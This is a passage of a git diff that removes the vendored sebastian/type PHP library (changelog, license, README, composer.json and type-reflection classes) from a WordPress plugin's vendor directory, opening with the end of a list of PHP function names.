'xmlwriter_end_comment', - 'xmlwriter_end_document', - 'xmlwriter_end_dtd', - 'xmlwriter_end_dtd_attlist', - 'xmlwriter_end_dtd_element', - 'xmlwriter_end_dtd_entity', - 'xmlwriter_end_element', - 'xmlwriter_end_pi', - 'xmlwriter_flush', - 'xmlwriter_full_end_element', - 'xmlwriter_open_memory', - 'xmlwriter_open_uri', - 'xmlwriter_output_memory', - 'xmlwriter_set_indent', - 'xmlwriter_set_indent_string', - 'xmlwriter_start_attribute', - 'xmlwriter_start_attribute_ns', - 'xmlwriter_start_cdata', - 'xmlwriter_start_comment', - 'xmlwriter_start_document', - 'xmlwriter_start_dtd', - 'xmlwriter_start_dtd_attlist', - 'xmlwriter_start_dtd_element', - 'xmlwriter_start_dtd_entity', - 'xmlwriter_start_element', - 'xmlwriter_start_element_ns', - 'xmlwriter_start_pi', - 'xmlwriter_text', - 'xmlwriter_write_attribute', - 'xmlwriter_write_attribute_ns', - 'xmlwriter_write_cdata', - 'xmlwriter_write_comment', - 'xmlwriter_write_dtd', - 'xmlwriter_write_dtd_attlist', - 'xmlwriter_write_dtd_element', - 'xmlwriter_write_dtd_entity', - 'xmlwriter_write_element', - 'xmlwriter_write_element_ns', - 'xmlwriter_write_pi', - 'xmlwriter_write_raw', - 'xslt_create', - 'yaz_addinfo', - 'yaz_ccl_conf', - 'yaz_ccl_parse', - 'yaz_close', - 'yaz_database', - 'yaz_element', - 'yaz_errno', - 'yaz_error', - 'yaz_es', - 'yaz_es_result', - 'yaz_get_option', - 'yaz_hits', - 'yaz_itemorder', - 'yaz_present', - 'yaz_range', - 'yaz_record', - 'yaz_scan', - 'yaz_scan_result', - 'yaz_schema', - 'yaz_search', - 'yaz_sort', - 'yaz_syntax', - 'zip_close', - 'zip_entry_close', - 'zip_entry_compressedsize', - 'zip_entry_compressionmethod', - 'zip_entry_filesize', - 'zip_entry_name', - 'zip_entry_open', - 'zip_entry_read', - 'zip_open', - 'zip_read', - ]; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/ChangeLog.md deleted file mode 100644 index 0691a9b1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/ChangeLog.md +++ /dev/null @@ -1,169 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [3.2.1] - 2023-02-03 - -### Fixed - -* [#28](https://github.com/sebastianbergmann/type/pull/28): Potential undefined offset warning/notice - -## [3.2.0] - 2022-09-12 - -### Added - -* [#25](https://github.com/sebastianbergmann/type/issues/25): Support Disjunctive Normal Form types -* Added `ReflectionMapper::fromParameterTypes()` -* Added `IntersectionType::types()` and `UnionType::types()` -* Added `UnionType::containsIntersectionTypes()` - -## [3.1.0] - 2022-08-29 - -### Added - -* [#21](https://github.com/sebastianbergmann/type/issues/21): Support `true` as stand-alone type - -## [3.0.0] - 2022-03-15 - -### Added - -* Support for intersection types introduced in PHP 8.1 -* Support for the `never` return type introduced in PHP 8.1 -* Added `Type::isCallable()`, `Type::isGenericObject()`, `Type::isIterable()`, `Type::isMixed()`, `Type::isNever()`, `Type::isNull()`, `Type::isObject()`, `Type::isSimple()`, `Type::isStatic()`, `Type::isUnion()`, `Type::isUnknown()`, and `Type::isVoid()` - -### Changed - -* Renamed `ReflectionMapper::fromMethodReturnType(ReflectionMethod $method)` to `ReflectionMapper::fromReturnType(ReflectionFunctionAbstract $functionOrMethod)` - -### Removed - -* Removed `Type::getReturnTypeDeclaration()` (use `Type::asString()` instead and prefix its result with `': '`) -* Removed `TypeName::getNamespaceName()` (use `TypeName::namespaceName()` instead) -* Removed `TypeName::getSimpleName()` (use `TypeName::simpleName()` instead) -* Removed `TypeName::getQualifiedName()` (use `TypeName::qualifiedName()` instead) - -## [2.3.4] - 2021-06-15 - -### Fixed - -* Fixed regression introduced in 2.3.3 - -## [2.3.3] - 2021-06-15 [YANKED] - -### Fixed - -* [#15](https://github.com/sebastianbergmann/type/issues/15): "false" pseudo type is not handled properly - -## [2.3.2] - 2021-06-04 - -### Fixed - -* Fixed handling of tentatively declared return types - -## [2.3.1] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\Type\Exception` now correctly extends `\Throwable` - -## [2.3.0] - 2020-10-06 - -### Added - -* [#14](https://github.com/sebastianbergmann/type/issues/14): Support for `static` return type that is introduced in PHP 8 - -## [2.2.2] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [2.2.1] - 2020-07-05 - -### Fixed - -* Fixed handling of `mixed` type in `ReflectionMapper::fromMethodReturnType()` - -## [2.2.0] - 2020-07-05 - -### Added - -* Added `MixedType` object for representing PHP 8's `mixed` type - -## [2.1.1] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [2.1.0] - 2020-06-01 - -### Added - -* Added `UnionType` object for representing PHP 8's Union Types -* Added `ReflectionMapper::fromMethodReturnType()` for mapping `\ReflectionMethod::getReturnType()` to a `Type` object -* Added `Type::name()` for retrieving the name of a type -* Added `Type::asString()` for retrieving a textual representation of a type - -### Changed - -* Deprecated `Type::getReturnTypeDeclaration()` (use `Type::asString()` instead and prefix its result with `': '`) -* Deprecated `TypeName::getNamespaceName()` (use `TypeName::namespaceName()` instead) -* Deprecated `TypeName::getSimpleName()` (use `TypeName::simpleName()` instead) -* Deprecated `TypeName::getQualifiedName()` (use `TypeName::qualifiedName()` instead) - -## [2.0.0] - 2020-02-07 - -### Removed - -* This component is no longer supported on PHP 7.2 - -## [1.1.3] - 2019-07-02 - -### Fixed - -* Fixed class name comparison in `ObjectType` to be case-insensitive - -## [1.1.2] - 2019-06-19 - -### Fixed - -* Fixed handling of `object` type - -## [1.1.1] - 2019-06-08 - -### Fixed - -* Fixed autoloading of `callback_function.php` fixture file - -## [1.1.0] - 2019-06-07 - -### Added - -* Added support for `callable` type -* Added support for `iterable` type - -## [1.0.0] - 2019-06-06 - -* Initial release based on [code contributed by Michel Hartmann to PHPUnit](https://github.com/sebastianbergmann/phpunit/pull/3673) - -[3.2.1]: https://github.com/sebastianbergmann/type/compare/3.2.0...3.2.1 -[3.2.0]: https://github.com/sebastianbergmann/type/compare/3.1.0...3.2.0 -[3.1.0]: https://github.com/sebastianbergmann/type/compare/3.0.0...3.1.0 -[3.0.0]: https://github.com/sebastianbergmann/type/compare/2.3.4...3.0.0 -[2.3.4]: https://github.com/sebastianbergmann/type/compare/ca39369c41313ed12c071ed38ecda8fcdb248859...2.3.4 -[2.3.3]: https://github.com/sebastianbergmann/type/compare/2.3.2...ca39369c41313ed12c071ed38ecda8fcdb248859 -[2.3.2]: https://github.com/sebastianbergmann/type/compare/2.3.1...2.3.2 -[2.3.1]: https://github.com/sebastianbergmann/type/compare/2.3.0...2.3.1 -[2.3.0]: https://github.com/sebastianbergmann/type/compare/2.2.2...2.3.0 -[2.2.2]: https://github.com/sebastianbergmann/type/compare/2.2.1...2.2.2 -[2.2.1]: https://github.com/sebastianbergmann/type/compare/2.2.0...2.2.1 -[2.2.0]: https://github.com/sebastianbergmann/type/compare/2.1.1...2.2.0 -[2.1.1]: https://github.com/sebastianbergmann/type/compare/2.1.0...2.1.1 -[2.1.0]: https://github.com/sebastianbergmann/type/compare/2.0.0...2.1.0 -[2.0.0]: https://github.com/sebastianbergmann/type/compare/1.1.3...2.0.0 -[1.1.3]: https://github.com/sebastianbergmann/type/compare/1.1.2...1.1.3 -[1.1.2]: https://github.com/sebastianbergmann/type/compare/1.1.1...1.1.2 -[1.1.1]: https://github.com/sebastianbergmann/type/compare/1.1.0...1.1.1 -[1.1.0]: https://github.com/sebastianbergmann/type/compare/1.0.0...1.1.0 -[1.0.0]: https://github.com/sebastianbergmann/type/compare/ff74aa41746bd8d10e931843ebf37d42da513ede...1.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/LICENSE deleted file mode 100644 index f4e4a328..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -sebastian/type - -Copyright (c) 2019-2022, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/README.md deleted file mode 100644 index 1036ce7a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/README.md +++ /dev/null @@ -1,20 +0,0 @@ -# sebastian/type - -[![CI Status](https://github.com/sebastianbergmann/type/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/type/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/type/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/type) - -Collection of value objects that represent the types of the PHP type system. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/type -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/type -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/composer.json deleted file mode 100644 index a0865c93..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/composer.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "name": "sebastian/type", - "description": "Collection of value objects that represent the types of the PHP type system", - "type": "library", - "homepage": "https://github.com/sebastianbergmann/type", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/type/issues" - }, - "prefer-stable": true, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.5" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "autoload-dev": { - "classmap": [ - "tests/_fixture" - ], - "files": [ - "tests/_fixture/callback_function.php", - "tests/_fixture/functions_that_declare_return_types.php" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "3.2-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/Parameter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/Parameter.php deleted file mode 100644 index 1adb061e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/Parameter.php +++ /dev/null @@ -1,42 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -final class Parameter -{ - /** - * @psalm-var non-empty-string - */ - private $name; - - /** - * @var Type - */ - private $type; - - /** - * @psalm-param non-empty-string $name - */ - public function __construct(string $name, Type $type) - { - $this->name = $name; - $this->type = $type; - } - - public function name(): string - { - return $this->name; - } - - public function type(): Type - { - return $this->type; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/ReflectionMapper.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/ReflectionMapper.php deleted file mode 100644 index 32099b4b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/ReflectionMapper.php +++ /dev/null @@ -1,184 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -use function assert; -use ReflectionFunctionAbstract; -use ReflectionIntersectionType; -use ReflectionMethod; -use ReflectionNamedType; -use ReflectionType; -use ReflectionUnionType; - -final class ReflectionMapper -{ - /** - * @psalm-return list - */ - public function fromParameterTypes(ReflectionFunctionAbstract $functionOrMethod): array - { - $parameters = []; - - foreach ($functionOrMethod->getParameters() as $parameter) { - $name = $parameter->getName(); - - assert($name !== ''); - - if (!$parameter->hasType()) { - $parameters[] = new Parameter($name, new UnknownType); - - continue; - } - - $type = $parameter->getType(); - - if ($type instanceof ReflectionNamedType) { - $parameters[] = new Parameter( - $name, - $this->mapNamedType($type, $functionOrMethod) - ); - - continue; - } - - if ($type instanceof ReflectionUnionType) { - $parameters[] = new Parameter( - $name, - $this->mapUnionType($type, $functionOrMethod) - ); - - continue; - } - - if ($type instanceof ReflectionIntersectionType) { - $parameters[] = new Parameter( - $name, - $this->mapIntersectionType($type, $functionOrMethod) - ); - } - } - - return $parameters; - } - - public function fromReturnType(ReflectionFunctionAbstract $functionOrMethod): Type - { - if (!$this->hasReturnType($functionOrMethod)) { - return new UnknownType; - } - - $returnType = $this->returnType($functionOrMethod); - - assert($returnType instanceof ReflectionNamedType || $returnType instanceof ReflectionUnionType || $returnType instanceof ReflectionIntersectionType); - - if ($returnType instanceof ReflectionNamedType) { - return $this->mapNamedType($returnType, $functionOrMethod); - } - - if ($returnType instanceof ReflectionUnionType) { - return $this->mapUnionType($returnType, $functionOrMethod); - } - - if ($returnType instanceof ReflectionIntersectionType) { - return $this->mapIntersectionType($returnType, $functionOrMethod); - } - } - - private function mapNamedType(ReflectionNamedType $type, ReflectionFunctionAbstract $functionOrMethod): Type - { - if ($functionOrMethod instanceof ReflectionMethod && $type->getName() === 'self') { - return ObjectType::fromName( - $functionOrMethod->getDeclaringClass()->getName(), - $type->allowsNull() - ); - } - - if ($functionOrMethod instanceof ReflectionMethod && $type->getName() === 'static') { - return new StaticType( - TypeName::fromReflection($functionOrMethod->getDeclaringClass()), - $type->allowsNull() - ); - } - - if ($type->getName() === 'mixed') { - return new MixedType; - } - - if ($functionOrMethod instanceof ReflectionMethod && $type->getName() === 'parent') { - return ObjectType::fromName( - $functionOrMethod->getDeclaringClass()->getParentClass()->getName(), - $type->allowsNull() - ); - } - - return Type::fromName( - $type->getName(), - $type->allowsNull() - ); - } - - private function mapUnionType(ReflectionUnionType $type, ReflectionFunctionAbstract $functionOrMethod): Type - { - $types = []; - - foreach ($type->getTypes() as $_type) { - assert($_type instanceof ReflectionNamedType || $_type instanceof ReflectionIntersectionType); - - if ($_type instanceof ReflectionNamedType) { - $types[] = $this->mapNamedType($_type, $functionOrMethod); - - continue; - } - - $types[] = $this->mapIntersectionType($_type, $functionOrMethod); - } - - return new UnionType(...$types); - } - - private function mapIntersectionType(ReflectionIntersectionType $type, ReflectionFunctionAbstract $functionOrMethod): Type - { - $types = []; - - foreach ($type->getTypes() as $_type) { - assert($_type instanceof ReflectionNamedType); - - $types[] = $this->mapNamedType($_type, $functionOrMethod); - } - - return new IntersectionType(...$types); - } - - private function hasReturnType(ReflectionFunctionAbstract $functionOrMethod): bool - { - if ($functionOrMethod->hasReturnType()) { - return true; - } - - if (!method_exists($functionOrMethod, 'hasTentativeReturnType')) { - return false; - } - - return $functionOrMethod->hasTentativeReturnType(); - } - - private function returnType(ReflectionFunctionAbstract $functionOrMethod): ?ReflectionType - { - if ($functionOrMethod->hasReturnType()) { - return $functionOrMethod->getReturnType(); - } - - if (!method_exists($functionOrMethod, 'getTentativeReturnType')) { - return null; - } - - return $functionOrMethod->getTentativeReturnType(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/TypeName.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/TypeName.php deleted file mode 100644 index 17d477cf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/TypeName.php +++ /dev/null @@ -1,83 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -use function array_pop; -use function explode; -use function implode; -use function substr; -use ReflectionClass; - -final class TypeName -{ - /** - * @var ?string - */ - private $namespaceName; - - /** - * @var string - */ - private $simpleName; - - public static function fromQualifiedName(string $fullClassName): self - { - if ($fullClassName[0] === '\\') { - $fullClassName = substr($fullClassName, 1); - } - - $classNameParts = explode('\\', $fullClassName); - - $simpleName = array_pop($classNameParts); - $namespaceName = implode('\\', $classNameParts); - - return new self($namespaceName, $simpleName); - } - - public static function fromReflection(ReflectionClass $type): self - { - return new self( - $type->getNamespaceName(), - $type->getShortName() - ); - } - - public function __construct(?string $namespaceName, string $simpleName) - { - if ($namespaceName === '') { - $namespaceName = null; - } - - $this->namespaceName = $namespaceName; - $this->simpleName = $simpleName; - } - - public function namespaceName(): ?string - { - return $this->namespaceName; - } - - public function simpleName(): string - { - return $this->simpleName; - } - - public function qualifiedName(): string - { - return $this->namespaceName === null - ? $this->simpleName - : $this->namespaceName . '\\' . $this->simpleName; - } - - public function isNamespaced(): bool - { - return $this->namespaceName !== null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/exception/Exception.php deleted file mode 100644 index e0e7ee57..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/exception/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/exception/RuntimeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/exception/RuntimeException.php deleted file mode 100644 index 4dfea6a6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/exception/RuntimeException.php +++ /dev/null @@ -1,14 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -final class RuntimeException extends \RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/CallableType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/CallableType.php deleted file mode 100644 index d44fb0ca..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/CallableType.php +++ /dev/null @@ -1,212 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -use function assert; -use function class_exists; -use function count; -use function explode; -use function function_exists; -use function is_array; -use function is_object; -use function is_string; -use Closure; -use ReflectionClass; -use ReflectionException; -use ReflectionObject; - -final class CallableType extends Type -{ - /** - * @var bool - */ - private $allowsNull; - - public function __construct(bool $nullable) - { - $this->allowsNull = $nullable; - } - - /** - * @throws RuntimeException - */ - public function isAssignable(Type $other): bool - { - if ($this->allowsNull && $other instanceof NullType) { - return true; - } - - if ($other instanceof self) { - return true; - } - - if ($other instanceof ObjectType) { - if ($this->isClosure($other)) { - return true; - } - - if ($this->hasInvokeMethod($other)) { - return true; - } - } - - if ($other instanceof SimpleType) { - if ($this->isFunction($other)) { - return true; - } - - if ($this->isClassCallback($other)) { - return true; - } - - if ($this->isObjectCallback($other)) { - return true; - } - } - - return false; - } - - public function name(): string - { - return 'callable'; - } - - public function allowsNull(): bool - { - return $this->allowsNull; - } - - /** - * @psalm-assert-if-true CallableType $this - */ - public function isCallable(): bool - { - return true; - } - - private function isClosure(ObjectType $type): bool - { - return !$type->className()->isNamespaced() && $type->className()->simpleName() === Closure::class; - } - - /** - * @throws RuntimeException - */ - private function hasInvokeMethod(ObjectType $type): bool - { - $className = $type->className()->qualifiedName(); - assert(class_exists($className)); - - try { - $class = new ReflectionClass($className); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new RuntimeException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - // @codeCoverageIgnoreEnd - } - - if ($class->hasMethod('__invoke')) { - return true; - } - - return false; - } - - private function isFunction(SimpleType $type): bool - { - if (!is_string($type->value())) { - return false; - } - - return function_exists($type->value()); - } - - private function isObjectCallback(SimpleType $type): bool - { - if (!is_array($type->value())) { - return false; - } - - if (count($type->value()) !== 2) { - return false; - } - - if (!isset($type->value()[0], $type->value()[1])) { - return false; - } - - if (!is_object($type->value()[0]) || !is_string($type->value()[1])) { - return false; - } - - [$object, $methodName] = $type->value(); - - return (new ReflectionObject($object))->hasMethod($methodName); - } - - private function isClassCallback(SimpleType $type): bool - { - if (!is_string($type->value()) && !is_array($type->value())) { - return false; - } - - if (is_string($type->value())) { - if (strpos($type->value(), '::') === false) { - return false; - } - - [$className, $methodName] = explode('::', $type->value()); - } - - if (is_array($type->value())) { - if (count($type->value()) !== 2) { - return false; - } - - if (!isset($type->value()[0], $type->value()[1])) { - return false; - } - - if (!is_string($type->value()[0]) || !is_string($type->value()[1])) { - return false; - } - - [$className, $methodName] = $type->value(); - } - - assert(isset($className) && is_string($className) && class_exists($className)); - assert(isset($methodName) && is_string($methodName)); - - try { - $class = new ReflectionClass($className); - - if ($class->hasMethod($methodName)) { - $method = $class->getMethod($methodName); - - return $method->isPublic() && $method->isStatic(); - } - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new RuntimeException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - // @codeCoverageIgnoreEnd - } - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/FalseType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/FalseType.php deleted file mode 100644 index f417fb69..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/FalseType.php +++ /dev/null @@ -1,42 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -final class FalseType extends Type -{ - public function isAssignable(Type $other): bool - { - if ($other instanceof self) { - return true; - } - - return $other instanceof SimpleType && - $other->name() === 'bool' && - $other->value() === false; - } - - public function name(): string - { - return 'false'; - } - - public function allowsNull(): bool - { - return false; - } - - /** - * @psalm-assert-if-true FalseType $this - */ - public function isFalse(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/GenericObjectType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/GenericObjectType.php deleted file mode 100644 index d06963f0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/GenericObjectType.php +++ /dev/null @@ -1,54 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -final class GenericObjectType extends Type -{ - /** - * @var bool - */ - private $allowsNull; - - public function __construct(bool $nullable) - { - $this->allowsNull = $nullable; - } - - public function isAssignable(Type $other): bool - { - if ($this->allowsNull && $other instanceof NullType) { - return true; - } - - if (!$other instanceof ObjectType) { - return false; - } - - return true; - } - - public function name(): string - { - return 'object'; - } - - public function allowsNull(): bool - { - return $this->allowsNull; - } - - /** - * @psalm-assert-if-true GenericObjectType $this - */ - public function isGenericObject(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/IntersectionType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/IntersectionType.php deleted file mode 100644 index 2e133940..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/IntersectionType.php +++ /dev/null @@ -1,126 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -use function assert; -use function count; -use function implode; -use function in_array; -use function sort; - -final class IntersectionType extends Type -{ - /** - * @psalm-var non-empty-list - */ - private $types; - - /** - * @throws RuntimeException - */ - public function __construct(Type ...$types) - { - $this->ensureMinimumOfTwoTypes(...$types); - $this->ensureOnlyValidTypes(...$types); - $this->ensureNoDuplicateTypes(...$types); - - $this->types = $types; - } - - public function isAssignable(Type $other): bool - { - return $other->isObject(); - } - - public function asString(): string - { - return $this->name(); - } - - public function name(): string - { - $types = []; - - foreach ($this->types as $type) { - $types[] = $type->name(); - } - - sort($types); - - return implode('&', $types); - } - - public function allowsNull(): bool - { - return false; - } - - /** - * @psalm-assert-if-true IntersectionType $this - */ - public function isIntersection(): bool - { - return true; - } - - /** - * @psalm-return non-empty-list - */ - public function types(): array - { - return $this->types; - } - - /** - * @throws RuntimeException - */ - private function ensureMinimumOfTwoTypes(Type ...$types): void - { - if (count($types) < 2) { - throw new RuntimeException( - 'An intersection type must be composed of at least two types' - ); - } - } - - /** - * @throws RuntimeException - */ - private function ensureOnlyValidTypes(Type ...$types): void - { - foreach ($types as $type) { - if (!$type->isObject()) { - throw new RuntimeException( - 'An intersection type can only be composed of interfaces and classes' - ); - } - } - } - - /** - * @throws RuntimeException - */ - private function ensureNoDuplicateTypes(Type ...$types): void - { - $names = []; - - foreach ($types as $type) { - assert($type instanceof ObjectType); - - $classQualifiedName = $type->className()->qualifiedName(); - - if (in_array($classQualifiedName, $names, true)) { - throw new RuntimeException('An intersection type must not contain duplicate types'); - } - - $names[] = $classQualifiedName; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/IterableType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/IterableType.php deleted file mode 100644 index 7b2a58fa..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/IterableType.php +++ /dev/null @@ -1,84 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -use function assert; -use function class_exists; -use function is_iterable; -use ReflectionClass; -use ReflectionException; - -final class IterableType extends Type -{ - /** - * @var bool - */ - private $allowsNull; - - public function __construct(bool $nullable) - { - $this->allowsNull = $nullable; - } - - /** - * @throws RuntimeException - */ - public function isAssignable(Type $other): bool - { - if ($this->allowsNull && $other instanceof NullType) { - return true; - } - - if ($other instanceof self) { - return true; - } - - if ($other instanceof SimpleType) { - return is_iterable($other->value()); - } - - if ($other instanceof ObjectType) { - $className = $other->className()->qualifiedName(); - assert(class_exists($className)); - - try { - return (new ReflectionClass($className))->isIterable(); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new RuntimeException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - // @codeCoverageIgnoreEnd - } - } - - return false; - } - - public function name(): string - { - return 'iterable'; - } - - public function allowsNull(): bool - { - return $this->allowsNull; - } - - /** - * @psalm-assert-if-true IterableType $this - */ - public function isIterable(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/MixedType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/MixedType.php deleted file mode 100644 index a1412e45..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/MixedType.php +++ /dev/null @@ -1,41 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -final class MixedType extends Type -{ - public function isAssignable(Type $other): bool - { - return !$other instanceof VoidType; - } - - public function asString(): string - { - return 'mixed'; - } - - public function name(): string - { - return 'mixed'; - } - - public function allowsNull(): bool - { - return true; - } - - /** - * @psalm-assert-if-true MixedType $this - */ - public function isMixed(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/NeverType.php 